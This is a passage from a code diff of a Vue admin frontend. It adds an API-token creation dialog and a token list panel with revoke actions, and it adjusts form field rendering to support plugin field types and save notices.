}
|
||||
copyTimer = setTimeout(() => {
|
||||
copyFlash.value = false
|
||||
copyTimer = null
|
||||
}, 2000)
|
||||
}
|
||||
|
||||
async function onCopy(): Promise<void> {
|
||||
const value = plaintext.value
|
||||
if (!value) {
|
||||
return
|
||||
}
|
||||
try {
|
||||
if (!navigator.clipboard?.writeText) {
|
||||
throw new Error('clipboard unavailable')
|
||||
}
|
||||
await navigator.clipboard.writeText(value)
|
||||
markCopied()
|
||||
} catch {
|
||||
copyFailed.value = true
|
||||
await nextTick()
|
||||
plaintextInput.value?.focus()
|
||||
plaintextInput.value?.select()
|
||||
}
|
||||
}
|
||||
|
||||
function onPlaintextCopy(): void {
|
||||
markCopied()
|
||||
}
|
||||
|
||||
function onPlaintextFocus(event: FocusEvent): void {
|
||||
;(event.target as HTMLInputElement).select()
|
||||
}
|
||||
|
||||
async function closeDialog(): Promise<void> {
|
||||
clearPlaintext()
|
||||
setOpen(false)
|
||||
}
|
||||
|
||||
async function requestClose(): Promise<void> {
|
||||
if (busy.value) {
|
||||
return
|
||||
}
|
||||
if (step.value === 2 && plaintext.value && !copied.value) {
|
||||
const ok = await props.confirm.ask({
|
||||
message: t('backend::lang.api_tokens.close_uncopied_confirm'),
|
||||
confirmLabel: t('backend::lang.api_tokens.close_uncopied_submit'),
|
||||
danger: true,
|
||||
})
|
||||
if (!ok) {
|
||||
return
|
||||
}
|
||||
}
|
||||
await closeDialog()
|
||||
}
|
||||
|
||||
function onOpenChange(open: boolean): void {
|
||||
if (!open) {
|
||||
void requestClose()
|
||||
return
|
||||
}
|
||||
setOpen(true)
|
||||
}
|
||||
|
||||
function onOpenAutoFocus(event: Event): void {
|
||||
event.preventDefault()
|
||||
if (step.value === 2) {
|
||||
copyButton.value?.querySelector('button')?.focus() ?? copyButton.value?.focus()
|
||||
return
|
||||
}
|
||||
nameInput.value?.focus()
|
||||
}
|
||||
|
||||
function onCloseAutoFocus(event: Event): void {
|
||||
event.preventDefault()
|
||||
emit('closed')
|
||||
}
|
||||
|
||||
function onPointerOutside(event: Event): void {
|
||||
if (step.value === 2 || busy.value) {
|
||||
event.preventDefault()
|
||||
}
|
||||
}
|
||||
|
||||
function onEscapeKey(event: Event): void {
|
||||
if (busy.value) {
|
||||
event.preventDefault()
|
||||
return
|
||||
}
|
||||
if (step.value === 2) {
|
||||
event.preventDefault()
|
||||
void requestClose()
|
||||
}
|
||||
}
|
||||
|
||||
function onHide(): void {
|
||||
void closeDialog()
|
||||
}
|
||||
|
||||
onBeforeUnmount(() => {
|
||||
clearPlaintext()
|
||||
})
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<DialogRoot :open="open" @update:open="onOpenChange">
|
||||
<DialogPortal>
|
||||
<DialogOverlay data-dialog-overlay class="fixed inset-0 z-40 bg-overlay" />
|
||||
<DialogContent
|
||||
data-token-dialog
|
||||
data-dialog-content
|
||||
aria-modal="true"
|
||||
class="fixed top-1/2 left-1/2 z-50 flex max-h-[calc(100vh-32px)] w-[calc(100%-32px)] max-w-[560px] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 rounded-modal bg-surface p-6 text-text shadow-pop"
|
||||
@open-auto-focus="onOpenAutoFocus"
|
||||
@close-auto-focus="onCloseAutoFocus"
|
||||
@pointer-down-outside="onPointerOutside"
|
||||
@interact-outside="onPointerOutside"
|
||||
@escape-key-down="onEscapeKey"
|
||||
>
|
||||
<div class="flex items-start gap-3">
|
||||
<div class="flex min-w-0 flex-1 flex-col gap-1">
|
||||
<DialogTitle class="text-[20px] font-bold tracking-[-0.01em]">{{
|
||||
step === 1
|
||||
? t('backend::lang.api_tokens.create_title')
|
||||
: t('backend::lang.api_tokens.created_title')
|
||||
}}</DialogTitle>
|
||||
<DialogDescription v-if="step === 1" class="text-muted">{{
|
||||
t('backend::lang.api_tokens.create_description')
|
||||
}}</DialogDescription>
|
||||
<DialogDescription
|
||||
v-else
|
||||
data-token-notice
|
||||
role="note"
|
||||
class="flex items-start gap-2 rounded-inner bg-sel px-4 py-3.5 text-text"
|
||||
>
|
||||
<TriangleAlert :size="16" class="mt-0.5 shrink-0" aria-hidden="true" />
|
||||
<span>{{ t('backend::lang.api_tokens.created_notice') }}</span>
|
||||
</DialogDescription>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
data-action="close"
|
||||
:disabled="busy"
|
||||
:aria-label="t('backend::lang.form.close')"
|
||||
class="flex size-[34px] shrink-0 items-center justify-center rounded-tab bg-subtle text-muted hover:bg-hover hover:text-text disabled:cursor-not-allowed disabled:opacity-60"
|
||||
@click="requestClose"
|
||||
>
|
||||
<X :size="16" aria-hidden="true" />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<form v-if="step === 1" novalidate class="flex min-h-0 flex-col gap-4" @submit.prevent="onSubmit">
|
||||
<fieldset :disabled="busy" class="flex min-h-0 flex-col gap-[18px] overflow-y-auto">
|
||||
<div class="flex min-w-0 flex-col gap-1.5" data-field="name">
|
||||
<label :for="`${ID_PREFIX}-name`" class="font-semibold">{{
|
||||
t('backend::lang.api_tokens.name')
|
||||
}}</label>
|
||||
<input
|
||||
:id="`${ID_PREFIX}-name`"
|
||||
ref="nameInput"
|
||||
v-model="name"
|
||||
name="name"
|
||||
type="text"
|
||||
maxlength="100"
|
||||
autocomplete="off"
|
||||
:placeholder="t('backend::lang.api_tokens.name_placeholder')"
|
||||
:aria-invalid="errors.name ? 'true' : undefined"
|
||||
:aria-describedby="nameDescribedBy()"
|
||||
:class="controlClass(!!errors.name)"
|
||||
class="h-input"
|
||||
/>
|
||||
<p :id="`${ID_PREFIX}-name-comment`" class="text-[13px] text-muted">
|
||||
{{ t('backend::lang.api_tokens.name_comment') }}
|
||||
</p>
|
||||
<div
|
||||
v-if="errors.name"
|
||||
:id="`${ID_PREFIX}-name-error`"
|
||||
class="flex flex-col gap-0.5 text-[13px] text-danger"
|
||||
>
|
||||
<p v-for="(text, index) in errors.name" :key="index" class="flex items-center gap-1.5">
|
||||
<CircleAlert :size="14" class="shrink-0" aria-hidden="true" />
|
||||
<span>{{ text }}</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="flex min-w-0 flex-col gap-1.5" data-field="expires">
|
||||
<span id="api-token-expires-label" class="font-semibold">{{
|
||||
t('backend::lang.api_tokens.expires')
|
||||
}}</span>
|
||||
<RadioGroupRoot
|
||||
v-model="expires"
|
||||
orientation="horizontal"
|
||||
aria-labelledby="api-token-expires-label"
|
||||
class="inline-flex flex-wrap gap-1 rounded-inner border border-border bg-subtle p-1"
|
||||
>
|
||||
<RadioGroupItem
|
||||
v-for="option in EXPIRY_OPTIONS"
|
||||
:key="option.value"
|
||||
:value="option.value"
|
||||
data-expiry-segment
|
||||
class="inline-flex h-pager items-center rounded-tab px-4 text-[13px] whitespace-nowrap text-muted transition-colors duration-150 ease-out hover:text-text data-[state=checked]:bg-surface data-[state=checked]:text-text data-[state=checked]:shadow-tab data-[state=checked]:text-[14px] data-[state=checked]:font-semibold"
|
||||
>
|
||||
{{ t(option.label) }}
|
||||
</RadioGroupItem>
|
||||
</RadioGroupRoot>
|
||||
<p class="text-[13px] text-muted tabular-nums">{{ expiryPreview }}</p>
|
||||
</div>
|
||||
|
||||
<div class="flex min-w-0 flex-col gap-1.5" data-field="scopes">
|
||||
<span id="api-token-scopes-label" class="font-semibold">{{
|
||||
t('backend::lang.api_tokens.scopes')
|
||||
}}</span>
|
||||
<div
|
||||
v-if="scopesLoading"
|
||||
role="group"
|
||||
aria-labelledby="api-token-scopes-label"
|
||||
data-scope-picker
|
||||
class="overflow-hidden rounded-inner border border-border"
|
||||
>
|
||||
<div
|
||||
v-for="index in 3"
|
||||
:key="index"
|
||||
class="flex min-h-[56px] items-center gap-3 border-t border-border px-4 py-3 first:border-t-0"
|
||||
aria-hidden="true"
|
||||
>
|
||||
<span class="size-5 shrink-0 rounded-[6px] bg-skel" />
|
||||
<span class="h-3 w-40 rounded-[6px] bg-skel" />
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
v-else-if="scopesFailed"
|
||||
role="alert"
|
||||
class="flex items-start gap-2 rounded-inner bg-danger-soft px-[18px] py-3.5 text-danger"
|
||||
>
|
||||
<CircleAlert :size="16" class="mt-0.5 shrink-0" aria-hidden="true" />
|
||||
<span>{{ t('backend::lang.api_tokens.scopes_failed') }}</span>
|
||||
</div>
|
||||
<div
|
||||
v-else
|
||||
role="group"
|
||||
aria-labelledby="api-token-scopes-label"
|
||||
data-scope-picker
|
||||
:aria-invalid="errors.scopes ? 'true' : undefined"
|
||||
:class="errors.scopes ? 'border-danger' : 'border-border'"
|
||||
class="overflow-hidden rounded-inner border"
|
||||
>
|
||||
<label
|
||||
v-for="scope in scopes"
|
||||
:key="scope.name"
|
||||
:data-scope="scope.name"
|
||||
:class="scopeDisabled(scope.name) ? 'cursor-not-allowed opacity-60' : 'cursor-pointer'"
|
||||
class="flex min-h-[56px] items-start gap-3 border-t border-border px-4 py-3 first:border-t-0"
|
||||
>
|
||||
<input
|
||||
type="checkbox"
|
||||
class="mt-0.5 size-5 shrink-0 rounded-[6px] accent-primary"
|
||||
:checked="checked.has(scope.name)"
|
||||
:disabled="scopeDisabled(scope.name)"
|
||||
@change="toggleScope(scope.name, ($event.target as HTMLInputElement).checked)"
|
||||
/>
|
||||
<span class="flex min-w-0 flex-col">
|
||||
<span class="flex flex-wrap items-center gap-1">
|
||||
<span class="font-semibold">{{ scope.label }}</span>
|
||||
<span class="font-mono text-[13px] text-muted">{{ scope.name }}</span>
|
||||
<span
|
||||
v-if="scope.read_only"
|
||||
class="inline-flex h-6 items-center rounded-pill bg-subtle px-2.5 text-[13px] font-semibold whitespace-nowrap text-muted"
|
||||
>{{ t('backend::lang.api_tokens.read_only') }}</span
|
||||
>
|
||||
</span>
|
||||
<span class="text-[13px] text-muted [overflow-wrap:anywhere]">{{ scope.description }}</span>
|
||||
</span>
|
||||
</label>
|
||||
</div>
|
||||
<p
|
||||
v-if="starChecked"
|
||||
class="flex items-center gap-2 text-[13px] text-muted"
|
||||
>
|
||||
<Info :size="14" class="shrink-0" aria-hidden="true" />
|
||||
<span>{{ t('backend::lang.api_tokens.scope_all_includes') }}</span>
|
||||
</p>
|
||||
<div
|
||||
v-if="errors.scopes"
|
||||
:id="`${ID_PREFIX}-scopes-error`"
|
||||
class="flex flex-col gap-0.5 text-[13px] text-danger"
|
||||
>
|
||||
<p v-for="(text, index) in errors.scopes" :key="index" class="flex items-center gap-1.5">
|
||||
<CircleAlert :size="14" class="shrink-0" aria-hidden="true" />
|
||||
<span>{{ text }}</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</fieldset>
|
||||
|
||||
<div class="flex gap-2.5">
|
||||
<Button
|
||||
variant="outline"
|
||||
class="flex-1"
|
||||
data-action="create-token-cancel"
|
||||
:disabled="busy"
|
||||
@click="requestClose"
|
||||
>
|
||||
{{ t('backend::lang.api_tokens.create_cancel') }}
|
||||
</Button>
|
||||
<Button
|
||||
variant="primary"
|
||||
type="submit"
|
||||
class="flex-1"
|
||||
data-action="create-token-submit"
|
||||
:disabled="!canSubmit"
|
||||
>
|
||||
<LoaderCircle v-if="busy" :size="16" class="animate-spin" aria-hidden="true" />
|
||||
{{ busy ? t('backend::lang.api_tokens.creating') : t('backend::lang.api_tokens.create_submit') }}
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div v-else class="flex min-h-0 flex-col gap-4">
|
||||
<div class="flex min-w-0 flex-col gap-2">
|
||||
<label :for="`${ID_PREFIX}-plaintext`" class="sr-only">{{
|
||||
t('backend::lang.api_tokens.token_label')
|
||||
}}</label>
|
||||
<input
|
||||
:id="`${ID_PREFIX}-plaintext`"
|
||||
ref="plaintextInput"
|
||||
:value="plaintext"
|
||||
type="text"
|
||||
readonly
|
||||
autocomplete="off"
|
||||
spellcheck="false"
|
||||
data-token-plaintext
|
||||
:class="controlClass(false)"
|
||||
class="h-input bg-subtle font-mono text-[14px]"
|
||||
@focus="onPlaintextFocus"
|
||||
@click="onPlaintextFocus"
|
||||
@copy="onPlaintextCopy"
|
||||
/>
|
||||
<div class="flex flex-wrap items-center gap-2">
|
||||
<span ref="copyButton">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
:icon="copyFlash ? Check : Copy"
|
||||
data-action="copy-token"
|
||||
@click="onCopy"
|
||||
>
|
||||
{{ copyFlash ? t('backend::lang.api_tokens.copied') : t('backend::lang.api_tokens.copy') }}
|
||||
</Button>
|
||||
</span>
|
||||
<p
|
||||
v-if="copyFailed"
|
||||
role="alert"
|
||||
class="flex items-center gap-1.5 text-[13px] text-danger"
|
||||
>
|
||||
<CircleAlert :size="14" class="shrink-0" aria-hidden="true" />
|
||||
<span>{{ t('backend::lang.api_tokens.copy_failed') }}</span>
|
||||
</p>
|
||||
<span class="sr-only" aria-live="polite">{{ announce }}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex justify-end">
|
||||
<Button variant="primary" data-action="hide-token" @click="onHide">
|
||||
{{ t('backend::lang.api_tokens.done') }}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</DialogPortal>
|
||||
</DialogRoot>
|
||||
</template>
|
||||
312
admin/src/components/account/ApiTokensPanel.vue
Normal file
312
admin/src/components/account/ApiTokensPanel.vue
Normal file
@@ -0,0 +1,312 @@
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, ref } from 'vue'
|
||||
import { Ban, CircleAlert, KeyRound, Plus } from '@lucide/vue'
|
||||
import { api } from '../../api/client'
|
||||
import type { AdminAPIToken } from '../../api/types'
|
||||
import { t } from '../../app/i18n'
|
||||
import Button from '../ui/Button.vue'
|
||||
import { useConfirm } from '../ui/confirm'
|
||||
import { showToast } from '../../state/useToasts'
|
||||
import ApiTokenCreateDialog from './ApiTokenCreateDialog.vue'
|
||||
|
||||
// My account API tokens card (16.3 UI-SPEC): list, create dialog, revoke.
|
||||
// Shares AccountView's useConfirm() so ConfirmDialog stays at z-[90].
|
||||
const props = defineProps<{
|
||||
confirm: ReturnType<typeof useConfirm>
|
||||
}>()
|
||||
|
||||
const tokens = ref<AdminAPIToken[]>([])
|
||||
const loading = ref(true)
|
||||
const firstLoad = ref(true)
|
||||
const loadFailed = ref(false)
|
||||
const showRevoked = ref(false)
|
||||
const createOpen = ref(false)
|
||||
const createButton = ref<HTMLElement | null>(null)
|
||||
|
||||
function pad(value: number): string {
|
||||
return String(value).padStart(2, '0')
|
||||
}
|
||||
|
||||
function present(value: string | null | undefined): value is string {
|
||||
return typeof value === 'string' && value !== ''
|
||||
}
|
||||
|
||||
/** YYYY-MM-DD in local time (list date cells). */
|
||||
function formatDate(value: string): string {
|
||||
const date = new Date(value)
|
||||
if (Number.isNaN(date.getTime())) {
|
||||
return value
|
||||
}
|
||||
return `${date.getFullYear()}-${pad(date.getMonth() + 1)}-${pad(date.getDate())}`
|
||||
}
|
||||
|
||||
/** YYYY-MM-DD HH:mm in local time (list datetime cells). */
|
||||
function formatDateTime(value: string): string {
|
||||
const date = new Date(value)
|
||||
if (Number.isNaN(date.getTime())) {
|
||||
return value
|
||||
}
|
||||
return `${formatDate(value)} ${pad(date.getHours())}:${pad(date.getMinutes())}`
|
||||
}
|
||||
|
||||
function metaLine(token: AdminAPIToken): string {
|
||||
const parts = [t('backend::lang.api_tokens.created_at', { date: formatDate(token.created_at) })]
|
||||
if (present(token.last_used_at)) {
|
||||
parts.push(t('backend::lang.api_tokens.last_used', { date: formatDateTime(token.last_used_at) }))
|
||||
} else {
|
||||
parts.push(t('backend::lang.api_tokens.never_used'))
|
||||
}
|
||||
if (token.expired && present(token.expires_at)) {
|
||||
parts.push(t('backend::lang.api_tokens.expired_at', { date: formatDate(token.expires_at) }))
|
||||
} else if (present(token.expires_at)) {
|
||||
parts.push(t('backend::lang.api_tokens.expires_at', { date: formatDate(token.expires_at) }))
|
||||
} else {
|
||||
parts.push(t('backend::lang.api_tokens.no_expiry'))
|
||||
}
|
||||
if (present(token.revoked_at)) {
|
||||
parts.push(t('backend::lang.api_tokens.revoked_at', { date: formatDateTime(token.revoked_at) }))
|
||||
}
|
||||
return parts.join(' · ')
|
||||
}
|
||||
|
||||
function isRevoked(token: AdminAPIToken): boolean {
|
||||
return present(token.revoked_at)
|
||||
}
|
||||
|
||||
async function loadTokens(): Promise<void> {
|
||||
loading.value = true
|
||||
loadFailed.value = false
|
||||
try {
|
||||
const result = await api.GET('/account/tokens', {
|
||||
params: { query: showRevoked.value ? { revoked: '1' } : {} },
|
||||
})
|
||||
if (result.data) {
|
||||
tokens.value = result.data.data ?? []
|
||||
return
|
||||
}
|
||||
loadFailed.value = true
|
||||
tokens.value = []
|
||||
} catch {
|
||||
loadFailed.value = true
|
||||
tokens.value = []
|
||||
} finally {
|
||||
loading.value = false
|
||||
firstLoad.value = false
|
||||
}
|
||||
}
|
||||
|
||||
function onShowRevokedChange(event: Event): void {
|
||||
showRevoked.value = (event.target as HTMLInputElement).checked
|
||||
void loadTokens()
|
||||
}
|
||||
|
||||
function openCreate(): void {
|
||||
createOpen.value = true
|
||||
}
|
||||
|
||||
async function onDialogClosed(): Promise<void> {
|
||||
await nextTick()
|
||||
createButton.value?.querySelector('button')?.focus() ?? createButton.value?.focus()
|
||||
}
|
||||
|
||||
async function onCreated(): Promise<void> {
|
||||
await loadTokens()
|
||||
}
|
||||
|
||||
async function onRevoke(token: AdminAPIToken): Promise<void> {
|
||||
const ok = await props.confirm.ask(
|
||||
{
|
||||
message: t('backend::lang.api_tokens.revoke_confirm', { name: token.name }),
|
||||
confirmLabel: t('backend::lang.api_tokens.revoke_submit'),
|
||||
danger: true,
|
||||
},
|
||||
async () => {
|
||||
const result = await api.DELETE('/account/tokens/{id}', {
|
||||
params: { path: { id: token.id } },
|
||||
})
|
||||
if (result.data) {
|
||||
await loadTokens()
|
||||
showToast(t('backend::lang.api_tokens.revoked'))
|
||||
await nextTick()
|
||||
createButton.value?.querySelector('button')?.focus() ?? createButton.value?.focus()
|
||||
return
|
||||
}
|
||||
if (result.response.status === 404) {
|
||||
showToast(t('backend::lang.api_tokens.gone'), 'danger')
|
||||
await loadTokens()
|
||||
return
|
||||
}
|
||||
showToast(t('backend::lang.api_tokens.revoke_failed'), 'danger')
|
||||
},
|
||||
)
|
||||
void ok
|
||||
}
|
||||
|
||||
onMounted(() => {
|
||||
void loadTokens()
|
||||
})
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div
|
||||
data-api-tokens
|
||||
class="flex flex-col gap-4 rounded-card border border-border bg-surface p-7 shadow-card"
|
||||
>
|
||||
<div class="flex flex-wrap items-start justify-between gap-4">
|
||||
<div class="flex min-w-0 flex-col gap-1">
|
||||
<h2 class="text-[18px] font-bold">{{ t('backend::lang.api_tokens.section') }}</h2>
|
||||
<p class="max-w-[640px] text-[13px] text-muted">{{ t('backend::lang.api_tokens.section_comment') }}</p>
|
||||
</div>
|
||||
<span ref="createButton">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
:icon="Plus"
|
||||
data-action="create-token"
|
||||
:disabled="firstLoad && loading"
|
||||
@click="openCreate"
|
||||
>
|
||||
{{ t('backend::lang.api_tokens.create') }}
|
||||
</Button>
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<label
|
||||
v-if="!loadFailed && !firstLoad"
|
||||
class="flex items-center gap-2"
|
||||
>
|
||||
<input
|
||||
type="checkbox"
|
||||
data-show-revoked
|
||||
class="size-5 shrink-0 rounded-[6px] accent-primary"
|
||||
:checked="showRevoked"
|
||||
@change="onShowRevokedChange"
|
||||
/>
|
||||
<span>{{ t('backend::lang.api_tokens.show_revoked') }}</span>
|
||||
</label>
|
||||
|
||||
<div
|
||||
v-if="loading"
|
||||
role="list"
|
||||
data-token-list
|
||||
aria-busy="true"
|
||||
class="flex flex-col overflow-hidden rounded-inner border border-border"
|
||||
>
|
||||
<div
|
||||
v-for="index in 3"
|
||||
:key="index"
|
||||
role="listitem"
|
||||
class="flex flex-col gap-2 border-t border-border px-4 py-3.5 first:border-t-0"
|
||||
aria-hidden="true"
|
||||
>
|
||||
<span class="h-3 w-40 rounded-[6px] bg-skel" />
|
||||
<span class="h-3 w-64 rounded-[6px] bg-skel" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div
|
||||
v-else-if="loadFailed"
|
||||
role="alert"
|
||||
data-tokens-error
|
||||
class="flex items-start gap-2 rounded-inner bg-danger-soft px-[18px] py-3.5 text-danger"
|
||||
>
|
||||
<CircleAlert :size="16" class="mt-0.5 shrink-0" aria-hidden="true" />
|
||||
<span>{{ t('backend::lang.api_tokens.load_failed') }}</span>
|
||||
</div>
|
||||
|
||||
<div
|
||||
v-else-if="tokens.length === 0"
|
||||
data-tokens-empty
|
||||
class="flex flex-col items-center gap-2 rounded-inner border border-dashed border-border-strong px-6 py-8 text-center"
|
||||
>
|
||||
<span class="flex size-10 items-center justify-center rounded-full bg-subtle text-muted">
|
||||
<KeyRound :size="20" aria-hidden="true" />
|
||||
</span>
|
||||
<p class="font-semibold">{{ t('backend::lang.api_tokens.empty_title') }}</p>
|
||||
<p class="max-w-[420px] text-[13px] text-muted">{{ t('backend::lang.api_tokens.empty_body') }}</p>
|
||||
</div>
|
||||
|
||||
<div
|
||||
v-else
|
||||
role="list"
|
||||
data-token-list
|
||||
class="flex flex-col overflow-hidden rounded-inner border border-border"
|
||||
>
|
||||
<div
|
||||
v-for="token in tokens"
|
||||
:key="token.id"
|
||||
role="listitem"
|
||||
:data-token-row="token.id"
|
||||
class="flex items-start justify-between gap-4 border-t border-border px-4 py-3.5 first:border-t-0 max-sm:flex-col"
|
||||
>
|
||||
<div class="flex min-w-0 flex-1 flex-col gap-2">
|
||||
<div class="flex flex-wrap items-center gap-2">
|
||||
<span
|
||||
:class="isRevoked(token) ? 'text-muted' : 'text-text'"
|
||||
class="font-semibold [overflow-wrap:anywhere]"
|
||||
>{{ token.name }}</span
|
||||
>
|
||||
<span
|
||||
class="font-mono text-[13px] text-muted"
|
||||
:aria-label="t('backend::lang.api_tokens.hint', { last4: token.hint })"
|
||||
>g15_…{{ token.hint }}</span
|
||||
>
|
||||
<span
|
||||
v-if="token.expired && !isRevoked(token)"
|
||||
class="inline-flex h-6 items-center rounded-pill bg-danger-soft px-2.5 text-[13px] font-semibold whitespace-nowrap text-danger"
|
||||
>{{ t('backend::lang.api_tokens.state_expired') }}</span
|
||||
>
|
||||
<span
|
||||
v-if="isRevoked(token)"
|
||||
class="inline-flex h-6 items-center rounded-pill border border-border-strong px-2.5 text-[13px] font-semibold whitespace-nowrap text-muted"
|
||||
>{{ t('backend::lang.api_tokens.state_revoked') }}</span
|
||||
>
|
||||
</div>
|
||||
<div data-token-scopes class="flex flex-wrap gap-2">
|
||||
<span
|
||||
v-for="scope in token.scopes"
|
||||
:key="scope.name"
|
||||
:title="scope.known ? scope.name : t('backend::lang.api_tokens.unknown_scope_hint')"
|
||||
:class="
|
||||
scope.known
|
||||
? 'bg-subtle text-text'
|
||||
: 'border border-dashed border-border-strong font-mono text-muted'
|
||||
"
|
||||
class="inline-flex h-6 items-center rounded-pill px-2.5 text-[13px] font-semibold whitespace-nowrap"
|
||||
>
|
||||
{{
|
||||
scope.known
|
||||
? scope.name === '*'
|
||||
? t('backend::lang.api_tokens.scope_all')
|
||||
: scope.label
|
||||
: t('backend::lang.api_tokens.unknown_scope', { name: scope.name })
|
||||
}}
|
||||
</span>
|
||||
</div>
|
||||
<p :class="isRevoked(token) ? 'text-muted' : 'text-muted'" class="text-[13px] tabular-nums">
|
||||
{{ metaLine(token) }}
|
||||
</p>
|
||||
</div>
|
||||
<Button
|
||||
v-if="!isRevoked(token)"
|
||||
variant="danger"
|
||||
size="sm"
|
||||
:icon="Ban"
|
||||
data-action="revoke-token"
|
||||
class="max-sm:self-start"
|
||||
:aria-label="t('backend::lang.api_tokens.revoke_named', { name: token.name })"
|
||||
@click="onRevoke(token)"
|
||||
>
|
||||
{{ t('backend::lang.api_tokens.revoke') }}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<ApiTokenCreateDialog
|
||||
v-model:open="createOpen"
|
||||
:confirm="confirm"
|
||||
@created="onCreated"
|
||||
@closed="onDialogClosed"
|
||||
/>
|
||||
</div>
|
||||
</template>
|
||||
@@ -1,13 +1,14 @@
|
||||
<script setup lang="ts">
|
||||
import { computed } from 'vue'
|
||||
import { rendererFor, type FieldControlProps } from './registry'
|
||||
import { rendererForField, type FieldControlProps } from './registry'
|
||||
|
||||
// Picks the control for field.type from the registry (D-05) and forwards the
|
||||
// Picks the control for the field from the registry (D-05; a plugin field
|
||||
// type's element host when the field names an element) and forwards the
|
||||
// shared control props and the value update.
|
||||
const props = defineProps<FieldControlProps>()
|
||||
const emit = defineEmits<{ 'update:modelValue': [value: unknown] }>()
|
||||
|
||||
const control = computed(() => rendererFor(props.field.type))
|
||||
const control = computed(() => rendererForField(props.field))
|
||||
</script>
|
||||
|
||||
<template>
|
||||
|
||||
@@ -3,14 +3,18 @@ import { computed } from 'vue'
|
||||
import { CircleAlert } from '@lucide/vue'
|
||||
import type { ControllerParams, FormField, RelationOption } from '../../api/types'
|
||||
import FieldRenderer from './FieldRenderer.vue'
|
||||
import { groupLabelled, ownsLabel } from './registry'
|
||||
import { groupLabelled, isPluginField, ownsLabel } from './registry'
|
||||
|
||||
// One form row: label (600, red aria-hidden asterisk when required), the
|
||||
// control, the comment and the error line linked by aria-describedby.
|
||||
// control, the comment, the error line and the save notices (what a plugin
|
||||
// field type changed, D-10) linked by aria-describedby. Notices are text
|
||||
// interpolation only: a notice may quote markup an administrator submitted.
|
||||
const props = defineProps<{
|
||||
field: FormField
|
||||
modelValue: unknown
|
||||
errors?: string[]
|
||||
/** Save notices of this field: warning status lines under the control. */
|
||||
notices?: string[]
|
||||
labels?: RelationOption[]
|
||||
source?: ControllerParams | null
|
||||
recordId?: number | null
|
||||
@@ -23,15 +27,22 @@ const base = computed(() => `${props.idPrefix ?? 'field'}-${props.field.name}`)
|
||||
const controlId = computed(() => base.value)
|
||||
const commentId = computed(() => `${base.value}-comment`)
|
||||
const errorId = computed(() => `${base.value}-error`)
|
||||
const noticeId = computed(() => `${base.value}-notice`)
|
||||
const invalid = computed(() => (props.errors?.length ?? 0) > 0)
|
||||
const noticed = computed(() => (props.notices?.length ?? 0) > 0)
|
||||
const selfLabelled = computed(() => ownsLabel(props.field.type))
|
||||
// A widget or partial row labels a role="group" host, so its label is a span
|
||||
// the host names with aria-labelledby, not a label for an input.
|
||||
const labelsGroup = computed(() => groupLabelled(props.field.type))
|
||||
// A widget, partial or plugin field type row labels a role="group" host, so
|
||||
// its label is a span the host names with aria-labelledby, not a label for
|
||||
// an input.
|
||||
const labelsGroup = computed(() => groupLabelled(props.field.type) || isPluginField(props.field))
|
||||
const showComment = computed(() => !selfLabelled.value && !!props.field.comment)
|
||||
|
||||
const describedBy = computed(() =>
|
||||
[showComment.value || (selfLabelled.value && props.field.comment) ? commentId.value : '', invalid.value ? errorId.value : '']
|
||||
[
|
||||
showComment.value || (selfLabelled.value && props.field.comment) ? commentId.value : '',
|
||||
invalid.value ? errorId.value : '',
|
||||
noticed.value ? noticeId.value : '',
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' '),
|
||||
)
|
||||
@@ -57,6 +68,9 @@ const describedBy = computed(() =>
|
||||
@update:model-value="(value: unknown) => emit('update:modelValue', value)"
|
||||
/>
|
||||
<p v-if="showComment" :id="commentId" class="text-[13px] text-muted">{{ field.comment }}</p>
|
||||
<div v-if="noticed" :id="noticeId" role="status" data-field-notice class="summer-callout summer-callout--warning text-[13px]!">
|
||||
<p v-for="(text, index) in notices" :key="index" class="summer-callout__text">{{ text }}</p>
|
||||
</div>
|
||||
<div v-if="invalid" :id="errorId" class="flex flex-col gap-0.5 text-[13px] text-danger">
|
||||
<p v-for="(text, index) in errors" :key="index" class="flex items-center gap-1.5">
|
||||
<CircleAlert :size="14" class="shrink-0" aria-hidden="true" />
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user